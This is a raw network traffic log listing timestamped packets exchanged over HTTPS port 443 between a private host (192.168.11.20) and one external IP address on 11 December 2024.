Dec 11, 2024 12:45:42.438698053 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.438718081 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.438862085 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.439714909 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.439749956 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.440134048 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.440151930 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.440397024 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.440654039 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.440690041 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.440886021 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.440907001 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.440989971 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.441127062 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.441445112 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.441479921 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.441745996 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.441824913 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.441844940 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.441987038 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.442118883 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.443043947 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.443078995 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.443391085 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.443423033 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.443701029 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.444253922 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.444288969 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.444461107 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.444494963 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.444513083 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.444663048 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.444766998 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.445100069 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.445137024 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.445333958 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.445353985 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.445370913 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.445554018 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.446715117 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.446751118 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.446891069 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.446926117 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.447001934 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.447200060 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.447911978 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.447947025 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.448133945 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.448151112 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.448200941 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.448342085 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.448913097 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.448947906 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.449264050 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.449265003 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.449301958 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.449450016 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.450037003 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.450072050 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.450242043 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.450267076 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.450331926 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.450501919 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.451641083 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.451675892 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.451855898 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.451879025 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.452032089 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.452580929 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.452622890 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.452994108 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.453036070 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.453315020 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.453635931 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.453670979 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.453948975 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.453985929 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.453985929 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.454005003 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.454052925 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.454297066 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.454663992 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.454703093 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.454907894 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.454931021 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.454973936 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.455142021 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.456192017 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.456227064 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.456518888 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.456547976 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.456711054 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.457097054 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.457132101 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.457330942 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.457353115 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.457509041 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.457640886 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.458300114 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.458337069 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.458499908 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.458523989 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.458590031 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.458714962 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.459969044 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.460004091 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.460161924 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.460297108 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.460329056 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.460484028 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.460846901 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.460880995 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.461029053 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.461076975 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.461095095 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.461163044 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.461357117 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.462172985 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.462228060 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.462352037 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.462452888 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.462486982 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.462508917 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.462686062 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.462994099 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.463028908 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.463325977 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.463361025 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.463392019 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.463531971 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.464597940 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.464634895 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.464871883 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.464905024 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.464926004 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.465049982 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.465711117 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.465747118 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.465935946 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.466062069 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.466094017 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.466233015 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.466654062 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.466689110 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.466824055 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.466857910 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.466875076 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.466995001 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.467125893 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.467663050 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.467698097 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.467919111 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.467951059 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.468055964 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.468153954 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.469182014 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.469217062 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.469376087 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.469393969 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.469520092 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.469683886 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.470210075 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.470254898 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.470537901 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.470561981 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.470906973 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.471326113 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.471359968 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.471446991 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.471669912 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.471690893 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.471834898 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.471932888 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.639163017 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.639200926 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.639363050 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.639398098 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.639416933 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.639472008 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.639712095 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.639758110 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.639790058 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.640029907 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.640064955 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.640085936 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.640113115 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.640265942 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.640676022 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.640710115 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.641005039 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.641036987 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.641057968 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.641202927 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.641997099 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.642025948 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.642251968 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.642287016 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.642307043 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.642445087 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.643249035 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.643280983 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.643476963 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.643500090 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.643516064 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.643682003 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.644186974 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.644216061 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.644578934 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.644612074 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.644906044 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.644961119 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.644995928 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.645282030 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.645382881 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.645396948 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.645525932 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.645618916 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.645966053 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.646004915 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.646274090 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.646294117 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.646595001 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.646914005 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.646945000 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.647252083 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.647284031 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.647595882 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.648225069 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.648277044 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.648498058 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.648518085 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.648591042 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.648720026 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.649288893 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.649333000 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.649451971 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.649539948 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.649571896 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.649593115 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.649883032 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.650640011 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.650684118 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.650950909 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.651096106 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.651115894 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.651298046 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.651354074 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.651365995 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.651380062 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.651534081 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.651626110 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.651954889 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.651985884 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.652111053 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.652302027 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.652328968 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.652570009 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.652915001 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.652944088 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.653204918 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.653229952 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.653529882 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.653924942 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.653954983 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.654162884 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.654192924 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.654230118 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.654382944 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.655020952 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.655070066 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.655244112 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.655271053 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.655335903 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.655523062 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.655966997 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.656013966 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.656137943 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.656214952 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.656238079 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.656325102 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.656514883 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.657459974 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.657504082 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.657713890 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.657738924 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.658009052 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.658338070 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.658380985 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.658535957 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.658693075 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.658725977 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.658993959 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.659055948 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.659101009 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.659356117 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.659392118 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.659715891 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.659961939 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.659996033 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.660139084 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.660238028 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.660252094 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.660383940 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.660453081 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.660859108 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.660906076 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.661046028 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.661102057 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.661118984 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.661191940 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.661386013 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.661990881 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.662041903 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.662338972 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.662362099 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.662535906 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.662935019 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.662965059 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.663170099 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.663191080 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.663302898 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.663392067 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.664102077 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.664148092 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.664406061 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.664541960 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.664556026 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.664592028 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.664933920 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.665040016 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.665076017 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.665395975 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.665411949 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.665730953 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.666109085 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.666142941 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.666404963 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.666599989 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.666599989 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.666619062 CET	443	49763	172.67.128.139	192.168.11.20
